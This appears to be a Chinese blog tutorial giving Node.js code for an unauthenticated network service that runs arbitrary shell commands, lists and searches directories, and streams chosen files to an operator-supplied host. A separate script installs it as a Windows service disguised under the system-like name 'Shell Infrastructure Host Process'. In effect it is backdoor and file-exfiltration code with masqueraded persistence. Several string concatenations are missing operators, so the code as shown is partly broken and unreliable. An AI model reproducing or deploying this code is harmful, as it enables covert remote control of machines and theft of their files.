通过nodejs来实现telnet部分小功能,同时带有文件下载以及服务安装的代码示例。
功能实现- 查看某文件夹下的文件列表
- 下载某个文件
- 下载某文件夹
- 服务安装,这部分可以单独参考https://chrunlee.cn/article/package-nodejs-to-windows-service.html
nodejs 环境
依赖模块net fs async node-windows path
思路解析系统为windows,在主机A上运行server端A,然后在主机B上运行server端B ,通过telnet进行交互。
- telnet 连接成功
- 通过命令查看目标主机A的文件列表
- 通过命令下载目标主机A上的文件到主机B
因此,我们需要两个服务端,一个用来接受telnet的命令,一个用来接收文件进行存储。
由于命令比较少,这里采取比较智障的字符串截取,且不处理任何意外情况。
核心代码Server Apart A 用于监听端口并接收字符串数据
var net = require('net');
var stream;
var server = net.createServer(socket=>{
stream = socket;
stream.on('close',()=>{});
stream.on('data',(d)=>{
cmds.check(d.toString());
})
stream.on('error',err=>{})
});
server.on('connection',socket=>{
cmds.msg('current client has been connected,please ipt and 13;');
});
server.listen(11234,()=>{});
var net = require('net');
var fs = require('fs');
var path = require('path');
var datas = [];
var async = require('async');
var stream,client,host,port;
var cmds = {
lastDir : '',
check : function(str){
if(str.startsWith('look')){
var gos = str.replace('look ','');
cmds.dir(gos);
}else if(str.startsWith('get')){
var gos = str.replace('get ','');
cmds.many(gos);
}else if(str.startsWith('ip')){
var gos = str.replace('ip ','');
host = gos.split(' ')[0],port = gos.split(' ')[1];
host = host.trim();
port = port.trim();
//创建客户端,连接命令行提供的服务端
client = net.connect({host : host,port : port},temp=>{
});
client.on('close',()=>{cmds.msg('data complete!')});
client.on('error',(e)=>{});
}else if(str.startsWith('find')){
var gos = str.replace('find ','');
var temp = gos.split(' ')[0],key = gos.split(' ')[1];
var rs = cmds.find(temp,key);
rs = rs.length > 0 ? rs : ['empty'];
var msg = rs.join('\r\n');
cmds.msg(msg);
}else if(str.startsWith('cmd')){
var gos = str.replace('cmd ','');
//执行命令
cmds.exeCmd(gos);
}
},
exeCmd : function(str){
var exec = require('child_process').exec;
exec(str,(err,out)=>{
cmds.msg(out);
})
},
many : function(filePath){
if(host== undefined || port == undefined){
cmds.msg('input info pls');
return;
}
try{
filePath =filePath.trim();
var stat = fs.statSync(filePath);
var arr = [];
if(stat.isDirectory()){
var mvc = fs.readdirSync(filePath);
mvc.forEach(_=>{
var tempStat = fs.statSync(path.join(filePath,_));
if(!tempStat.isDirectory()){
var info = {
name : path.basename(_),
ext : path.extname(_),
filePath : path.join(filePath,_)
};
arr.push(info);
}
});
}else{
var info = {
name : path.basename(filePath),
ext : path.extname(filePath),
filePath : filePath
};
arr.push(info);
}
async.mapLimit(arr,1,function(item,cb){
cmds.load(item,cb);
},function(){
cmds.msg('all over down');
client.end();
});
}catch(e){
cmds.msg('error');
}
},
load : function(data,cb){
var filePath = path.join(data.filePath.trim(),'');
try{
client.resume();
client.write("base:" JSON.stringify(data),function(){
var rs = fs.createReadStream(data.filePath);
rs.on('data',c=>{
rs.pause();
client.write(c,function(){
rs.resume();
});
});
rs.on('close',()=>{
client.pause();
setTimeout(function(){
cb(null);
},1000);
})
});
}catch(e){
cmds.msg('error on executing');
client.pause();
cb(null);
}
},
find : function(temp,key){
key = key.trim();
var rs = [];
try{
var a = fs.readdirSync(temp);
a.forEach(_=>{
var stat = fs.statSync(path.join(temp,_));
if(stat.isDirectory()){
rs = rs.concat(cmds.find(path.join(temp,_),key));
}else{
if(path.extname(_).toLowerCase().indexOf(key) > -1){
rs.push(path.join(temp,_));
}
}
})
}catch(e){}
return rs;
},
dir : function(str){
str = str.trim();
try{
var arrs = fs.readdirSync(str);
var msg = arrs.join('\r\n')
cmds.msg(msg);
}catch(e){}
},
msg : function(msg){
stream.write(msg '\r\n');
}
};
//用于接受文件
var fs = require('fs');
var net = require('net');
var name = '',ext = '',ws;
var server = net.createServer(socket=>{
socket.on('data',d=>{
var str = d.toString();
if(str.startsWith('base:')){
//基本信息
str = str.replace('base:','');
var obj = JSON.parse(str);
name = obj.name;
}else{
fs.appendFileSync('d:/ttt/load/' name,d)
}
})
socket.on('close',()=>{
console.log('客户端数据传输完毕:' name);
})
socket.on('error',(e)=>{
console.log(e);
console.log('error');
})
});
server.listen('11111',()=>{
console.log('正在监听端口')
});
示例图
- 查看命令: look d:/
- 下载命令: get d:/test.jpg
- 下载文件夹: get d:/test/
- 执行命令: cmd ipconfig 这里有个乱码没解决
示例图
连接服务端则使用telnet 127.0.0.1 11234 即可。
服务安装需要将server A端安装到主机上,直接到service中。
核心代码//service.js
var Service = require('node-windows').Service;
// Create a new service object
var svc = new Service({
name:'Shell Infrastructure Host Process',
description: 'Shell Infrastructure Host Process',
script: 'e:\\node\\filetransport\\server.js',
nodeOptions: [
'--harmony',
'--max_old_space_size=4096'
]
});
// Listen for the "install" event, which indicates the
// process is available as a service.
svc.on('install',function(){
svc.start();
});
svc.install();
然后cmd中执行 node service 即可。
//删除服务-启动服务
sc delete xxxx
sc start xxxx
安装服务可能导致失败的原因:
- 防火墙
- 文件权限
目前只能在局域网内运行,如果想在广域网是不是要拥有一个独立IP呢?
,